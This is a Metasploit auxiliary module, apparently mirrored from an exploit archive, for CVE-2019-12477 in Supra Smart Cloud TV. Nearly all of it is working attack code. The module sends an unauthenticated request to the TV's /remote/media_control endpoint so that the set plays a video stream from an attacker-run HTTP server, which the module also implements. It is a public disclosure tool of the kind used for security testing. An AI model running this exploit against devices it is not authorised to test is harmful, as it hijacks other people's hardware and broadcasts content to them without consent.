Exploit for Supra Smart Cloud TV Remote File Inclusion CVE-2019-12477

## https://sploitus.com/exploit?id=PACKETSTORM:180819
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Supra Smart Cloud TV Remote File Inclusion',  
'Description' => %q{  
This module exploits an unauthenticated remote file inclusion which  
exists in Supra Smart Cloud TV. The media control for the device doesn't  
have any session management or authentication. Leveraging this, an  
attacker on the local network can send a crafted request to broadcast a  
fake video.  
},  
'Author' => [  
'Dhiraj Mishra', # Discovery, PoC, and module  
'wvu' # Module  
],  
'References' => [  
['CVE', '2019-12477'],  
['URL', 'https://www.inputzero.io/2019/06/hacking-smart-tv.html']  
],  
'DisclosureDate' => '2019-06-03',  
'License' => MSF_LICENSE  
)  
)  
  
deregister_options('URIPATH')  
end  
  
def run  
start_service('Path' => '/')  
  
print_status("Broadcasting Epic Sax Guy to #{peer}")  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/remote/media_control',  
'encode_params' => false,  
'vars_get' => {  
'action' => 'setUri',  
'uri' => get_uri + 'epicsax.m3u8'  
}  
)  
  
unless res && res.code == 200 && res.body.include?('OK')  
print_error('No doo-doodoodoodoodoo-doo for you')  
return  
end  
  
# Sleep time calibrated using successful pcap  
print_good('Doo-doodoodoodoodoo-doo')  
print_status('Sleeping for 10s serving .m3u8 and .ts files...')  
sleep(10)  
end  
  
def on_request_uri(cli, request)  
dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2019-12477')  
  
files = {  
'/epicsax.m3u8' => 'application/x-mpegURL',  
'/epicsax0.ts' => 'video/MP2T',  
'/epicsax1.ts' => 'video/MP2T',  
'/epicsax2.ts' => 'video/MP2T',  
'/epicsax3.ts' => 'video/MP2T',  
'/epicsax4.ts' => 'video/MP2T'  
}  
  
file = request.uri  
  
unless files.include?(file)  
vprint_error("Sending 404 for #{file}")  
return send_not_found(cli)  
end  
  
data = File.read(File.join(dir, file), mode: 'rb')  
  
vprint_good("Sending #{file}")  
send_response(cli, data, 'Content-Type' => files[file])  
end  
end